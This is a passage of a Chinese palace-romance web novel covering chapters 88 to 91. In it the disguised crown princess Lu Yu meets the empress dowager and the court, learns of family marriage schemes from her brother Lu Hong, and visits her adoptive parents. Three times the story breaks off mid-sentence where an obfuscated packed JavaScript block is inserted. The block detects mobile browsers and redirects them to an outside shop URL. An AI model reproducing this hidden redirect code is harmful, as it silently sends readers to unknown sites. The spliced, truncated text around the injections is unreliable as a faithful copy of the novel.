突然安静下来,场面有些尴尬,可陆萸不在乎,自己不尴尬,尴尬的就是别人。 她假装擦了一下眼泪,然后深情款款地看着曹壬,“殿下可会觉得臣妾丢人?” “没有”曹壬一如既往的平静。 陆萸瞬间破涕为笑,稍微走近曹壬后,小心牵起他的衣袖,“太子真是这世上最好的夫婿。” 说者是否有心不知道,但曹壬听后心底熨帖极了,本该抽回的袖子也忘了抽回,就这么低头看着陆萸的笑颜如花,虽然妆容让她看起来一副弱不禁风的样子,可唇角那对梨涡依然甜美。 两个小年轻旁若无人地在下方眉目传情,上首的帝后觉得尴尬极了,曹启皇帝轻咳一声后,道,“想来太后也等急了,你们去永宁宫吧。” 就这样,陆萸带着胜利的喜悦跟着曹壬去永宁宫了。 永宁宫的氛围比太极宫好,谢太后是个慈祥的老太太,加之出自谢氏,对陆萸这个晚辈,她期待已久。 陆萸才行了礼,太后就拉着她的手在一旁坐下,“阿洐整日把你藏着,害哀家想了你许久都未能得见。” “父亲是怕臣妾把病气过给您”陆萸笑着回。 谢太后闻言,细细看过陆萸后,道,“精神是差了些,不过日后好 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14177143|134449||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 好将养就是,我们本就是一家人,你无需和哀家客气,缺什么和哀家说就是。” 陆萸听了,羞涩地看了一眼曹壬后,红着脸回:“有殿下在身旁,臣妾就什么都不缺了。” 闻言,堂中的人都笑出声来,太后笑着拍拍她的手,“真是痴儿!” 今日在永宁宫中,除了太后还有已经出嫁的长公主和惠安公主,以及前太子良娣卢氏和前太子遗孤安平郡主。 前太子良娣虽然姓卢,却只是范阳卢氏的旁支,她自幼失去双亲,是在清河王府以表姑娘的身份长大的,和前太子也算青梅竹马,前太子病逝后,因安平郡主才三岁,她便应太后的邀约带着孩子住进了永宁宫。 卢良娣很羡慕谢氏女可以如此大方的向世人表明心意,这样的勇气不是谁都有的,没有谢氏那样的百年名望,想来也养不出这样特别的女郎。 长公主则表情未名地看着陆萸,她曾经以为谢九郎不会娶妻,谁知最后却以那样高调的方式娶了萧嘉卉,那一刻,她知道那些年少时的感情已经彻底结束了。 眼前的女孩是他的女儿,哪怕没有半点他当年的风采,却不得不承认这样直爽的性子很像他,女孩笑起来的时候那双明媚的眼眸也很像他。 当初听到那些传言时,她以为会讨厌太子妃,可如今见到这样的笑,那些一去不复返的青春好似又都回来了,她忍不住感叹,“年轻就是好呀,我都忘了可以这样笑。” “你呀,年纪轻轻瞎感叹,让我这老太婆情何以堪”谢太后笑着嗔道。 安平郡主笑道,“你们谁都不许老,不然没人陪我玩了。” 一时间,大家又齐笑出声。 几个女郎叽叽喳喳的聊天,曹壬半点都插不上话,只能百无聊赖地坐在一旁一杯又一杯的饮茶。 太后见状让他先去找皇帝,等晚些再来永宁宫。 他起身时看了眼陆萸,陆萸忙道,“殿下千万记得来接臣妾回家呀!” 曹壬点点头后,向太后抱拳行礼后退下了。 惠安公主笑道,“都言太子殿下冷情冷性,我看他对太子妃就不这样。” 陆萸笑回,“那是殿下心地善良,满心满眼都是他的我,他不忍心拒绝呢。” 在场的众人听了这话,也觉得有几分道理,毕竟出自佛门的太子清心寡欲惯了,或许唯有这样热情奔放的女子才能让他稍微有改变。 曹壬找曹启皇帝下棋去了,自他被册封后,很少有时间这样安静的坐在一起对弈。 朝中事物太多,曹启皇帝处理政务的时候对他毫不避讳,每每遇到棘手的事也会征求他的意见。 这一年多的时间里,曹启皇帝恨不得手把手教他理政,哪里还舍得把时间浪费在下棋上。 白子轻轻落下,曹启皇帝道,“今日皇后失态,你不要放心上,回去也安慰一下太子妃。” “儿臣知道,太子妃心胸开阔,想来也不会在意。” “太子妃”曹启皇帝刚开口,却一时不知如何点评这儿媳,顿了一下,才道“朕觉得很率真,就是话多了些。” 曹壬听了,笑笑:“儿臣话少,和她倒也般配。” 好吧,这也能扯到般配,看来太子是真不在意娶谁了,曹启皇帝有些惋惜,但还是笑回:“你觉得般配就行,好歹娶她这样的,你能轻松一些。” 刚才太子妃那番言论,虽然直白大胆了一些,但见惯了阴谋诡计的曹启皇帝却觉得很实在,男子娶妻,不都想要一个那样的妻子吗?不用费心猜来猜去,她也永远支持自己,那才是真正的妻子。 曹壬这次又以两子败给了曹启皇帝,他再次回到永宁宫的时候,陆萸正在给大家弹琵琶。 一曲如泣如诉的琵琶曲回响在永宁宫,琵琶声声悠扬婉转,让午后的空气激荡起淡淡的忧伤,但又带着一种坚定的美好,让旁听的人都沉醉其间。 婢女想要通报,却被曹壬轻声制止了,他就这样安静的立在门口,听陆萸弹完整首曲子。 曲子太美,却是大家都没听过的,前太子良娣忍不住怔怔地看着陆萸问,“不知太子妃弹的这首曲子有没有名字?” “有的,名《一爱难求》”陆萸回。 世间女子多感情细腻,心思敏感,这样的曲子配这样的名字,让在场的女郎们忍不住沉浸在那些忧伤又甜蜜的记忆中。 最先回过神的是谢太后,她看着门口,笑道:“太子来了。” 闻言,陆萸忙欢喜地起身走至曹壬面前,双眸如星地看着他,“殿下听到方才的曲子了吗?” “听了”曹壬笑回。 “好听吗?” “好听”曹壬点点头。 “那臣妾回去后再给殿下弹奏。” 太子和太子妃已经离开永宁宫,可两位公主和卢良娣却还沉浸在琵琶曲中。 落日的余晖带着金色的光芒从门口照了进来,殿内多了一层朦胧的美,像那些已经忘却的记忆,曾带有温度如今却遥不可及。 一爱难求,谁人不知呢?可这世间,也唯有太子妃敢这样直白的表达出来,并付诸行动,他们是羡慕的。 89. 第八十九章 宫门 陆萸不在乎外人怎么看自己,因为无论何人坐上太子妃之位,都会受到那些落选世家的挑剔和嫌弃,而如今这个无脑花痴、病秧子的太子妃,反而可以让他们寻得一丝心理平衡。 有时候对外形象太完美不见得是好事,她给世人留下不靠谱的印象,世家们心理平衡后,才不会满脑子想着怎么对付新太子妃。 等时间久了,他们反而会把对太子妃的嫌弃转换成对太子殿下的同情。 倒也不是说曹壬有多稀罕这种同情,只是,这世上大多数人都是自大的,特别是早已目空一切的世家,当他们狂妄自大到开始同情太子时,就会放松对皇室的警惕。 陆萸要的就是他们放松警惕,只有他们对皇室不屑一顾,让他们忘情地投入到醉生梦死的游乐中时,曹壬才能有更多的时间去成长,成长为一名合格的帝王。 聪慧如曹壬,他如何不懂陆萸在为他布局,她牺牲自己的名誉为他铺路,这样的爱太厚重,不是一句“谢谢你”就能回报的。 在宫里和杨皇后一番唇枪舌剑,让陆萸觉得疲累,她不是一个爱表现的话痨,今日仿佛把未来几年的话都说完了,脸上一直挂着招牌式微笑,也让她觉得脸皮酸麻无比。 至夜,二人躺回行云殿的床上,不约而同地舒了一口气,今日这关算是过了。 行云殿的床只睡过一夜,可当头沾上松软的枕头时,陆萸却有那种回到家的温暖和舒适感。 侧过身抱住曹壬的腰,她用头蹭了蹭他的胸膛,“还好有你在。” 曹壬伸手回抱住她,下巴放在她的头顶,笑回,“这话该我说才是,还好有你在,东宫才像个家,行云殿这张床才有了温度。” 耳畔是曹壬一下一下的心跳声,让陆萸听了无比安心。 她又蹭了蹭他的心口,喃喃开口,“既已入宫门,我就不会退缩,君期,不要厌恶权利背后的阴暗,也不要回避陛下给你的权利,权利是一把双刃剑,端看你如何挥舞。” “我知道,从参与太子之争那一刻起,我就已做好准备,你是这条路上的意外之喜。” 陆萸听了这话,想到他那个活不过三十的传言,满眼酸涩,“是药三分毒,徐医仙的药日后不要再吃了。” “好,我答应你,我会活的长长久久,与你共白头”从那年上巳节遇到她,他就已经舍不得死了。 曹壬说完后,手一下一下轻轻抚摸着她披在肩头柔软的发丝,不知过了多久,胸前传来她绵长的呼吸,他低头将吻轻轻落在她的头顶,然后将她紧紧揽入怀中。 他们都清楚明日还有一场硬仗要打,过了明日,二人才算正式开启太子和太子妃的人生。 翌日清晨,二人梳洗好后,都盛装打扮了一番,陆萸还是那副病秧子妆容,甚至今日看起来比昨日还要糟糕,仿佛风一吹就要倒掉。 今日要见的朝臣有认识她的人,所以红菱尽量把她的脸型修饰得和以往不一样,这样,若非熟悉她的人,只看几眼并不能发现她就是陆萸。 会见朝臣是在太极殿正殿,这里是大朝会的地方,而平时小朝会都在太极殿东堂,若是皇帝和几个朝臣议事则在太极殿西堂。 陆萸随太子坐在帝后的左下方,接受百官的朝拜,她将视线越过一片黑压压的头顶看向远方,一轮旭日正冉冉升起,这是一个好的开端。 该行的礼,该走的流程都是事先制定好的,陆萸第一次深切体会了“礼仪”这个词的厚重感,她不再是以旁观者的心态看待大魏的历史,而是深陷历史的洪流中与之同生死,甚至即将成为历史的缔造者。 行过礼后,朝臣抬起头看向上首的太子夫妇,也第一次认真打量那个传闻中的痴女太子妃。 陆萸当着大家的面依依不舍地把视线从太子身上移开,然后举起手帕捂着嘴轻咳了几声,主打一个弱不禁风力不从心。 朝臣对她的第一印象,弱,太过羸弱。 定北侯陆恭在见到太子妃的脸时,瞬间一震,满眼的不可置信,直到接收到太子冷然睨他的那一眼,他才猛然回过神,迅速将视线转向别处。 虽然强装镇定,他的心里却早已慌乱如麻,自己为何要与忠义侯苦苦相争呢?如今的他竟已忘了那日为何对太子咄咄相逼。 和他一样心乱如麻的人还有禁卫军统领夏侯湛,当年他派人去盯星火书店的陆萸,甚至出于好奇,曾亲自去蹲守过她,哪怕今日的太子妃已经长开,上妆后与当初只有四分相似,他依然不会忘记那双眼睛。 太子妃那双眼,永远饱含隐忍和坚韧,仿佛世间一切困难她都能挺身面对,奋勇对抗,那是一双生生不息的眼,让人望之,忍不住向往美好未来。 在救下陆萸这件事中,他不知道都有谁参与,但他知道,他万不可让太子知道当年是他逼二人走投无路,眼看帝王日渐衰老,以后这大魏的主人是太子,他也该做出取舍。 迅速在心底思量一番后,他面无表情的将视线转向别处,他甚至已经在心底排查起当年的知情者都有哪些人。 卢太尉的大公子卢谭如今在门下省任给事中一职,属正六品,站的位置比较靠后,他瞟了一眼陆萸后,也和其他大臣一样,觉得这样的病秧子竟然被选为太子妃,真是可惜了太子。 他甚至在心底揣测这是不是皇帝为了对付杨氏而拉谢氏一起布的局,见识过太多阴谋的人,往往喜欢把事情想得极其复杂,而当初那个被他杖毙的陆萸早就被他忘得一干二净。 他对那个经常闯祸却总能得祖母和父亲原谅的弟弟其实没有什么感情,当年也不过是为卢氏争一口气罢了,愚蠢娇纵的弟弟简直是他仕途上的不定时炸弹,所以在听到弟弟去世的消息时,他偷偷松了一口气。 陆萸忙着看曹壬,曹壬则不动声色地将朝臣的表情尽收眼底,还好,认出阿萸的人不多。 或许是朝臣们适应能力强,又或许是这样的太子妃让大家觉得命不久矣,不值得在意,朝臣们无一人挑刺,这次朝会顺利应付过去了,以后只有在皇室重大典礼中,陆萸才需要会见朝臣。 退朝后,曹壬还有要事需留在宫中,陆萸则独自乘车回了东宫。 东宫四个殿,正殿是太子处理政务的地方,行云殿是太子的寝殿,而中室殿才是太子妃的寝殿,大婚后她一直和太子住行云殿,但按宫规,太子妃日后得住自己的中室殿。 回到东宫后,陆萸让青琼和玉瑶把今日朝会的一身厚重行头全部换下,然后去布置中室殿了。 红菱给她上妆的时候问,“娘娘还要化病妆吗?” 病妆是陆萸起的名字,红菱如今能根据不同的场合给陆萸化不同程度的病妆,想到中室殿还有很多陌生宫人,陆萸回,“病妆至少要一年后才能卸掉。” 红菱听后,立马理解陆萸言中之意,于是化了个比上朝时候还要严重的妆,娘娘会见朝臣以后病得更重了。 中室殿位于行云殿的后面,房间没有行云殿多,但景致更好,院中亭台水榭应有尽有,可惜如今处在深冬,也无什么景致可看。 中室殿正殿是太子妃起居会客的地方,而东边的厢房则被她布置成了书房,西厢房还暂时没想好做什么,就暂时空着。 青琼知道太子妃喜欢看书,所以书房才打扫好,她就把谢府带来的书籍全都整理上架了,如今看着满满的书架,忍不住问,“娘娘可还喜欢奴婢这番布置?” 陆萸对书房的要求不高,看过一圈后,看到窗前书案空空的,她回,“布置得不错,只是差了点绿意,你去找一盆罗汉松摆那里。” 青琼听后,笑回,“八喜已经替您准备好了,除了罗汉松还有翠柏、石梅和兰花,就等娘娘挑选一盆喜欢的。” 陆萸想选罗汉松是觉得好养活,如今听到还有会开花的盆栽,笑道,“选一盆石梅和翠柏吧,若太子殿下的书房没有盆栽,也各送一盆过去。” 翠柏多种在寺庙中,或许君期会喜欢,而且她想起了那年在翠柏树下玩踩影子的游戏,回首过往,竟然不知不觉间已过了十年。 青琼听后立马挑盆栽去了,八喜听过太子妃的交代后,就算太子殿下的书房有盆栽,也立马说没有,然后偷偷把原来的忍冬换成了石梅和翠柏。 巡视完中室殿,也见过中室殿的下人后,陆萸打着哈欠进内室午休去了。 中室殿的床是萧嘉卉花重金给陆萸打造的,大小和行云殿的那张床差不多,但花色更复杂,也更富女性审美。 今日天气不错,冬日午后难得艳阳高照,她睡前不让玉瑶关窗子,就这样晒着太阳睡着了,只是心里记挂着宫里的曹壬,睡的不是很安稳。 才睡了不到半个时辰,她就醒来了,躺在床上怔怔地发了会呆,她问,“太子回来了吗?” 玉瑶回,“太子殿下还未回,不过,太子中庶子正在前厅等候娘娘召见。” 猛一听太子中庶子这个官名,陆萸没想起是谁,大魏的官职和宋明时期有差异,她也是花了很多时间才捋清楚各个官制和品位。 “陆郎君吗?他来了多久?”陆萸终于想起陆弘。 “没有多久,奴婢原本让他明日再来,他却执意要等您。” 朝会一番相见,九叔陆恭想必回去和陆弘说过了,他能忍到现在才来相见,也属不易。 陆萸穿好常服后,红菱想给她梳灵蛇髻,她拒绝了,只是用一根绿色发带随意将头发扎成马尾,然后上了个病妆就去见陆弘了。 陆弘自听到陆恭退朝后转述的内容后按耐不住想要前来探查一二,想到九死一生的妹妹可能在这后院担惊受怕,而仅一墙之隔的他除了在东宫前殿和太子议事外,不曾主动踏足过后院关心过她,他就满心的愧疚。 他知道九叔在见到太子妃的时候震惊和恐惧大于欢喜,可他不是,他的妹妹还活着,没有一个人孤零零地躺在覆舟山,只这么一想,他就差点喜极而泣。 陆萸在玉瑶的陪同下到了前厅,殿外的暖阳将屋内照的一片亮堂,陆弘正坐在案几前,呆呆地看着满地的金色。 听到脚步声,他忙抬头看去,待看清陆萸的脸,他猛的起身,激动上前,“阿萸,真的是你。” 阿鱼?一旁的玉瑶一听这称呼,吓了一跳,太子妃和陆郎君竟然这般熟稔吗?她脸上的震惊还未及掩饰,就立马挡在陆萸面前,“还请陆郎君慎言!” 一句简单的话,让陆弘的理智迅速回笼,他抱拳行礼,“臣陆弘见过太子妃殿下,还请殿下宽恕臣的唐突。” 陆萸见陆弘两眼通红,手在轻轻颤抖着,想起谢洐说他当初亲手替自己处理后事,她特别能理解他此刻的心情。 于是笑着和玉瑶道,“陆郎君和太子是旧友,你无需这般紧张。” 玉瑶还在犹豫,陆萸接着道,“你去外面守着即可,我有要事和陆郎君说,若太子回来,你让他直接来寻我们。” 玉瑶听后,答诺退下了。 “阿兄,好久不见了”陆萸笑看着陆弘。 陆弘向来是家里最稳重的郎君,自幼养在祖父跟前的他,性子也比较老成,所以很少看到他如今日这般情绪失控,若说陆氏有谁 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“阿萸,妘堂妹病得很重,陆氏三个女郎,很快就只剩阿婠了”陆弘沉痛出声。 “妘堂姐病了?”陆萸惊问。 陆弘如何看不懂妹妹眼中的怒气,可陆妘自幼带有心疾,如今心疾不但没能治愈,有加重的迹象,陆氏能联姻的女郎只剩陆婠,若非如此,陆九叔也不会在朝堂上争太子妃之位,在当时而言,太子曹壬是最无可挑剔的联姻对象。 “病得很重,许就是这两个月的时间了”陆弘答。 陆萸听后,想起那个看起来似高冷美人,实际是个八卦女的堂姐,心里也跟着难过起来,她道,“明日我去看看她。” 陆弘苦涩一笑,“你去不了的,明日你要回门,如今有太多人盯着你和殿下,你冒不起这样的险。” 陆萸怔怔地看着地上渐渐变红的夕阳,一时不知该说什么,静默须臾,才道,“陆氏女,为何非要联姻?阿姊就不能为自己活一次吗?陆氏这么多儿郎,难道还不能保住一个阿姊吗?” “这个问题我也问过父亲,可父亲执意如此,甚至为此和祖父大吵,祖父都被气病了。” 陆奂如此执着让女儿嫁藩王,陆萸心中一个念头隐隐而生,她颤抖着问,“父亲想效仿杨氏吗?” 陆弘听了,痛苦的闭上眼,这个问题他不敢答,可自星火书院和星火书店越开越多,陆奂的野心也越来越大,他甚至觉得终于可以在大伯父面前扬眉吐气了。 当年陆萸突然离世,让陆歆大受打击,眼看祖父日渐衰老,陆奂开始一改当年的唯唯诺诺,多次与祖父相争。 “阿萸,我如何不知如今的陆氏已被陛下忌惮,可父亲看不懂,他只一心想要将陆氏往更高的带。” “大伯父呢,他怎么看?” “大伯父手握兵权,被父亲说动后,也想让阿婠嫁给成都王。” 陆弘的未尽之言,手握兵权的陆烈也怕被帝王忌惮所以想拉个藩王做个保障。 人心如此丑陋,当那些粉饰太平的脉脉温情被扯下那层遮羞布,看到的是尔虞我诈,是满目疮痍,陆萸对陆氏的现状发表不了任何看法,她如今是谢氏女。 “阿萸,或许你会骂我没人性,可,若只能二选一,阿婠嫁给成都王,远比嫁给魏表兄有意义”陆弘道。 “有意义?何种意义?” 陆萸一脸不可置信地看着陆弘,嘴角隐隐带着嘲讽,她竟然从一直崇拜的兄长口中听到如此冷血的回答。 “阿婠成为王妃才有机会施展她的才华,父亲也不再有能力左右她的决策,届时,她才能有机会掐掉父亲和大伯父那些隐秘的妄想。” 如此理性又找不到理由辩驳的答案,让陆萸明明不愿意认同却无言以对,唯有怔怔的看着陆弘。 “阿萸,你已入主东宫,看问题能否更理智一些?星火书院的院训,你难道忘了吗?祖父和我的想法从始至终都没有变,陆氏这架车,永远只能朝着那个方向行进。” 陆弘说这话的时候掷地有声,令人振聋发聩,眼神如此坚定,他仿佛是一个时刻准备着奔赴战场的革命者,只为心中的理想能早日实现。 陆萸抬头看向门口,曹壬不知何时站在落日的余晖下,橘红的光晕落了他满身,晚霞的红色慢慢变得像血。 他和陆弘就站在那片红中,像那些站在历史长河中与后世遥遥相望的先驱者。 不知怎么,她只觉得眼眶涨的生疼,忍了又忍,才颤抖出声,“星火书院的院训,我没有忘,也不曾忘。” 90. 第九十章 成长 曹壬从宫里回来后,听八喜说陆弘和陆萸在中室殿后,来不及换下朝服立即来寻她。 他其实不想让陆氏的人来寻陆萸,比起陆氏那些长辈,谢洐这个与她非亲非故的人反而对她更真诚,她在陆氏的那些年活得太累,因为太累她的身体一直气血两亏,如今还在喝滋补的药。 她已还清陆氏那些年的养育之恩,当初是陆氏放弃了她,所以,他希望她从此以后只是谢知鱼,希望她只需像个女孩一样在谢洐夫妇膝下沐浴他们的关爱。 见到曹壬,陆弘忙起身行礼:“臣见过殿下。”礼毕,他敏锐地发现太子似乎不高兴在这里见到自己。 曹壬确实连个眼神都懒得给他,径直走至陆萸跟前,“今日累了吧?回来后休息了吗?” 陆萸笑回,“我刚睡醒,倒是你,现在才回来,父皇又给你出难题了?” 曹壬摇摇头,“都是之前遗留的问题罢了。” 言罢,他看着陆弘,“奉卿也见过太子妃了,若没其他事就先回吧。” 陆萸还没打听完江东的事,忙道,“别,我还想知道其他人怎样了,多年未见,好奇得紧。” 曹壬一点都不好奇,可耐不住陆萸期待的眼神,于是拉着她坐回茶几前,道,“那就把你知道的都说来听听。” 陆弘这才又说起了有关江东其他故人的事。 朱慎之前极力反对朱琳的婚事,可陆萸去世后,他主动请求将妹妹嫁出去,甚至连婚礼都准备得非常匆忙,就像迫不及待将朱琳赶出朱府似的。 朱琳喜滋滋嫁给张兴,可婚后才两月就苦不堪言。 她嫁入张府后才发现张兴房中已有两个侍妾两个通房,她已经为爱下嫁,他却不懂珍惜,她一气之下发卖了侍妾和通房,张兴为此吵着休妻,奈何朱琳背后的朱氏太强,张氏长辈都不允许。 张兴干脆破罐子破摔,心情不好就打骂朱琳,刚开始,朱琳受不了回娘家求救,可朱氏无人愿意替她出头也不接受她和离,她不得已只能反抗张兴,听闻张氏下人都已经习惯二人时不时打一架。 朱慎在陆萸去世那年秋和翁主姒成亲了,那时候曹善成为太子的呼声最高,谁曾想,二人成亲不久,曹善就出事了,自此以后朱慎主动去广州军中,很少回建业。 曹善一日迎娶两门贵女,一时成了美谈,却也有人偷偷在背后取笑南安王府,杨琇莹终归出自杨氏,所以曹善不敢冷落她,而张文茵如愿嫁给曹善,自是一心一意扑在曹善身上。 曹善的两个妃子每天都在暗暗较劲,他的日子别提有多精彩,当初带着身孕嫁入南安王府的杨琇莹一直未再孕,而张文茵已于今年七月诞下一个女孩。 沈氏兄妹还是老样子,沈玉又出了两部游记,沈沅的儿童读物如今也很受大家欢迎,沈氏姐弟的书几乎包揽星火书店的新书销售额。 说到这里,陆弘道,“当初你在建业地牢没有答应沈三郎,那之后,他一直未回江东。” 陆萸被杨充提审后,陆氏没有机会探监,沈沅急匆匆赶至建业,不得不用朱氏嫡长媳的身份进地牢看陆萸。 那时候沈沅的抑郁症已经好的差不多,她告诉陆萸,她已经不想和离,也不想在意朱太守,而是一心写作带娃,她说,“你看,我还能借朱氏的势力行方便,若白白放弃,岂不是可惜了?” 陆萸看得出她那时候活得很通透,她说:就算和离,沈氏还会为她找下一个夫婿,与其重新适应,不如将就着过,好歹朱太守不反对她写作。 沈沅还偷偷向陆萸说了沈玉当时的打算,沈玉在长安听到陆萸出事后,立即赶回吴兴,向家里长辈提出求娶陆萸,可那时的沈氏不敢找陆氏联姻。 于是沈玉想到了一个极其大胆的主意,他要带着沈氏部曲联合陆弘劫狱,陆萸当初一听这主意,立马就让他们打消了念头。 那时候朝廷的判决未下,她不想连累无辜的人,于是果断拒绝了沈玉。 曹壬不知陆弘所说何事,于是问,“答应墨生什么?” 陆萸埋怨地看了一眼陆弘,然后忙回“劫狱”,未免尴尬,她忙笑问,“君期也觉得这主意不靠谱吧?” 曹壬点点头,“确实非常离谱,不过倒也符合墨生一贯作风。” 陆萸继续尴尬的笑笑,“还好那时没答应,不然我坟头的草估计都得长半尺高了。” 她话音刚落,陆弘忍不住道,“现在也有半尺高了。” 陆萸。。。。。。 陆弘突然起身,向陆萸郑重行礼,“臣所知皆已告知太子妃殿下,臣祝太子妃往后余生健康长乐,祝您与太子幸福美满。” 这是他作为兄长送给妹妹晚来的新婚祝福。 陆萸知道,陆弘在正式向陆萸道别,自此以后,世上再无陆萸,只有太子妃谢知鱼。 她起身回礼,“谢谢,也请陆郎君万万珍重。” 陆弘走的时候太阳已经完全落山,宫人们正忙着点灯,陆萸让人把晚膳送到中室殿。 曹壬以前很少用晚膳,可见陆萸吃的香,忍不住一起用了一点。 晚膳过后,陆萸带他去院中散步消食,顺便去看看新布置的书房。 曹壬一眼就看到了窗前的翠柏盆景,笑道,“想不到添了一模绿意,书房就没那么冷了。” 陆萸听后,忙指了指另一盆石梅,“再过一阵,石梅花开,这里就更热闹了。” 若说附庸风雅,谢洐说第二,少有人说第一,陆萸的书房比起谢洐的,简直算得上是寒酸,不过她很喜欢这种极简风,当年曹壬南安王府的书房也是这样清爽简单的。 她拉过曹壬的手一起坐到窗前,然后将头靠在他的肩膀上,与他相依着一起抬头看高悬的明月,今夜的月亮圆得像盘子似的,真是美满的夜晚。 月是当年月,人非当年人,陆萸脑海中突然想起这句诗,不知不觉间,无论是否自愿,大家都长大了。 思忖一番后,她还是把有关沈玉打算劫狱的前后细节告诉了曹壬。 她没有自恋的认为沈玉对自己产生了男女之情,他那样的人,那样的性子就跟冲动的中学生一样,想到什么就会付诸行动,她认为那时候的沈玉只是一心想将好友救出来而已。 一切无关风月,只为惺惺相惜的友谊。 曹壬听后,一直沉默不语。 他不知道自己该对此事发表何种看法,阿萸是这般优秀却不自知,他不能怪沈玉曾横刀夺爱,若真回到当初,他也是希望陆萸能被沈玉救出建业地牢。 用她的生命去赌,他赌不起,只要她能活在这世上就行,更何况那少年是那样优秀的沈墨生。 那年在长安,他和 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 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他忍不住再次将唇落在她红润可口的小唇上,这次他吻的很温柔,一下又一下轻柔地研磨辗转让陆萸更难以招架,她觉得自己被逼成了一根滚烫的藤蔓将他轻轻缠住,一寸寸往上,直至将他紧紧缠裹。 在杨皇后面前发话要立马圆房的太子妃实际很菜,曹壬一个吻就能让她找不到天南地北,以至于忘了二人是怎么从中室殿的书房回到行云殿寝室的,也忘了最后是怎么在他的怀中睡着的。 她只记得在睡去前偷偷告诉自己:自此以后,再也不能在曹壬面前提沈墨生了。 翌日清晨,看着镜中红肿的唇,陆萸嗔怪道,“都怪你,我这样怎么回去见阿娘!” 曹壬也没想到过了一夜,那红唇还能这么娇艳,他轻咳一声掩饰尴尬后,笑回,“他们都是过来人,能体谅你的。” 这话答的陆萸更生气了,敢情自己的颜面就不值钱吗,就算能体谅,也很尴尬的好吧? 见她像真生气了,曹壬忙看着镜中讨好一笑,“要不,你报复回来?” 陆萸闻言,大喝一声,“曹君期!你给我出去。” 她气鼓鼓地瞪着他时,终于又像圆圆糯糯的青团了,他忍不住笑出声来,不过没有离开,继续守在一旁看她上妆。 太子妃发火,太子还能笑得这么开心,殿外守着的宫人抬头看着难得的郎朗晴空,感叹太子殿下真是菩萨心肠。 91. 第九十一章 女医署 东宫和忠义侯府都在永安里,所以二人很快就到了,谢洐和萧嘉卉早就等在忠义侯府门口。 因为陆萸曾再三交代过,曹壬在萧嘉卉面前没有表现出与陆萸有多熟稔,却也没有太冷淡。 一番见过礼后,谢洐和曹壬去书房对弈去了,陆萸就随萧嘉卉去后院。 “你们还没有圆房吧?”萧嘉卉牵着女儿的手问。 陆萸听了,又羞又惊叹于她如此“过来人”,忙笑回,“这事急不得,殿下才还俗一年多,对那事暂时没有兴趣。” 萧嘉卉点点头,然后细细看着她,笑道,“不过,我看估计不用等多久了。” 陆萸在心底暗骂一声曹壬后,羞红着脸,“好不容易回来一趟,阿娘就别再取笑我可好?” 看得出女儿在东宫过得不错,萧嘉卉很欣慰,她当年也是嫁给了所爱之人,女儿此时的心情她很能理解,有爱情支撑,再大的难题都能克服,且她看得出,太子待女儿比想象中要好,至少不像外界传的那般不堪。 二人边走回后院,她边和陆萸说她和谢洐的最新打算。 谢洐不打算纳妾,可她的身体太差,他不敢再让她怀孕,所以夫妻二人决定从谢氏本家过继一个孩子到二人膝下,这样谢知鱼作为太子妃,将来也能有个兄弟可以仰仗。 陆萸听后,感动得久久不能言语,他们对她的爱,是世间最无私又厚重的爱,她用尽一切都难以回报这样的厚爱。 “阿娘想选谁,我都支持您”陆萸笑着回,眼眶中有盈盈泪光。 萧嘉卉道,“这事不急,我让九郎慢慢挑着,毕竟品性太差的容易养出仇。” 陆萸也很赞同这个观点,过继的孩子不需要太聪明太能干,只需要本性纯良懂得感恩就行。 萧嘉卉又和陆萸说了这几天对她的担忧和思念,然后让婢女端了一个盒子出来。 陆萸好奇道,“阿娘又想送我什么宝贝吗?” 萧嘉卉笑笑,“等看过就知道了,你喜欢什么就挑什么。” 盒子打开时,陆萸被里面的东西惊得半天合不拢嘴,倒不是被东西惊艳到,而是里面的首饰全是她当年设计的。 那一刻,她以为萧嘉卉已经发现自己是冒牌货,她瞬间觉得喉咙发干,大气都不敢喘一个。 “如何,这些东西漂亮吧?”萧嘉卉问。 陆萸不敢错开眼,看着她点点头。 萧嘉卉用手轻轻抚过首饰,缓缓开口“这里的每一件首饰背后都有故事,当年我病得严重,九郎做好首饰后,都会把故事和首饰一起送我,这些故事支撑着我熬过了最艰难的时光,让我有勇气活到现在,所以,我今天想让你挑选一个故事。” 有心栽花花不开,无心插柳柳成荫,大抵就是这样,陆萸当年为赚小钱绞尽脑汁编故事,却不曾想这些故事也曾温暖过别人。 她怔怔的看着满盒的首饰,“女儿觉得都很美,想全部留给阿娘。” “傻呀,我这里这么多,再不济让你阿爹再做就是”萧嘉卉说着,挑选出了一对玉镯。 玉镯晶莹剔透,白色的镯子有粉粉的杂色,可雕玉师傅将杂色雕刻成了栩栩如生的莲花,瞬间让玉镯空灵极了。 她将一对玉镯递给陆萸,“他们的名字是一世安,今日我把背后的故事讲给你听,也望你和太子能一世安好。” 萧嘉卉讲的《一世安》前面部分和陆萸讲的一样,故事结局:觉能还俗和元公主成亲,然后去了封地幸福的生活在一起。 这是谢洐改编后的结局,一个故事可以有多个结局,端看讲故事的人想让大家听什么,这样的结局温馨美满,确实感动了萧嘉卉。 陆萸听完故事,伸手抱住萧嘉卉的腰,用头蹭蹭她,“阿娘,真想让你们永远陪着我。” “去去去,都成亲了还跟孩子似的,是不是还想骗我其他宝贝?”萧嘉卉笑着拍打陆萸的背。 母女两又笑闹了一会,陆萸才说起了自己的打算。 